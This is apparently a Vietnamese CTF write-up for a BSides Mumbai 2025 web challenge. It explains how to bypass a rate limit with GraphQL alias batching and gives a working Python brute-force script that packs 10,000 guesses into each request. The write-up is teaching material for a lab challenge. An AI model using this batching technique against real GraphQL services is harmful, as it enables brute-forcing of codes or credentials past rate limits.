Skip to main content

Command Palette

Search for a command to run...

[BSides Mumbai 2025] Web - operation overflow

Published

Hello xin chào mọi người!

Trước tiên, mình xin cảm ơn các anh trong team CTF và công ty BlueCyber đã hỗ trợ và tạo điều kiện để mình tham gia CTF.

Suy nghĩ ban đầu

Vì thử thách đã bị khóa lại sau khi kết thúc nên bài viết này sẽ cố gắng miêu tả lại hướng đi suy nghĩ đến script cuối cùng. Về cơ bản đây là trang web yêu cầu nhập 1 con số trong khoảng 1 đến 100000 và có rate limit. Dạng bài như này thì mình sẽ cố gắng tìm cách brute force và bypass được rate limit. Nhưng có vẻ rate limit được thực hiện khá tốt. Sau 1 thời gian tìm kiếm cũng như theo kinh nghiệm, tìm được 1 dạng tấn công trong graphql là GraphQL Batching Attacks. Về cơ bản đây là loại tấn công cho phép gửi nhiều queries trong chỉ duy nhất một http requests, rất phù hợp cho bypass rate limit (vì chỉ cần gửi 10000 queries trong 1 lần và tối đa 10 lần gửi là sẽ có flag).

Triển khai ý tưởng

Từ ý tưởng đó cùng với việc nhờ chatgpt sinh code và điều chỉnh cho phù hợp với bài thì đây là script chạy tự động. Link tham khảo về lỗ hổng.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection

import requests
import time

URL = "https://abfb9883.bsidesmumbai.in/graphql"

HEADERS = {
    "Content-Type": "application/json",
    "Origin": "https://abfb9883.bsidesmumbai.in",
    "Referer": "https://abfb9883.bsidesmumbai.in/",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Cookie": "cf_clearance=...; connect.sid=..."  # <-- Dán cookie thật ở đây
}

BATCH_SIZE = 10000  # Số lượng guess mỗi batch
START = 1
END = 100000


def make_query(start, count):
    aliases = []
    for i in range(count):
        number = start + i
        alias = f"n{number}"
        aliases.append(
            f'{alias}: guessNumber(number: {number}) {{ correct message flag }}'
        )
    return "query { " + "\n".join(aliases) + " }"


def main():
    for i in range(START, END + 1, BATCH_SIZE):
        count = min(BATCH_SIZE, END - i + 1)
        query = make_query(i, count)

        try:
            response = requests.post(URL, headers=HEADERS, json={"query": query})
            data = response.json()

            if "data" in data:
                for key, val in data["data"].items():
                    if val and (val.get("correct") is True or val.get("message") != "Incorrect guess."):
                        print(f"[✅] Found! Number: {key[1:]} | Flag: {val.get('flag')}")
                        return  # Dừng lại khi tìm được flag
            else:
                print(f"[⚠️] Response lỗi hoặc rate-limit tại batch {i} - {i + count - 1}: {data}")

        except Exception as e:
            print(f"[❌] Exception tại batch {i} - {i + count - 1}: {e}")

        time.sleep(10)  # Tránh bị rate-limit hoặc block

    print("[❌] Không tìm thấy flag trong khoảng đoán.")


if __name__ == "__main__":
    main()

Tóm tắt flow của script

BướcNội dung
1Gửi hàng loạt truy vấn guessNumber(number: X) qua GraphQL alias
2Chạy batch từ 1 đến 100,000 theo lô 10,000
3Phân tích kết quả phản hồi JSON
4Nếu correct == true, in flag và dừng
5Thêm sleep để tránh rate-limit và xử lý lỗi

Xin chào và cảm ơn các bạn đã quan tâm đến writeup của mình. Chúc các bạn một ngày vui vẻ hẹ hẹ hẹ.

More from this blog

B

BlueCyber's blog

37 posts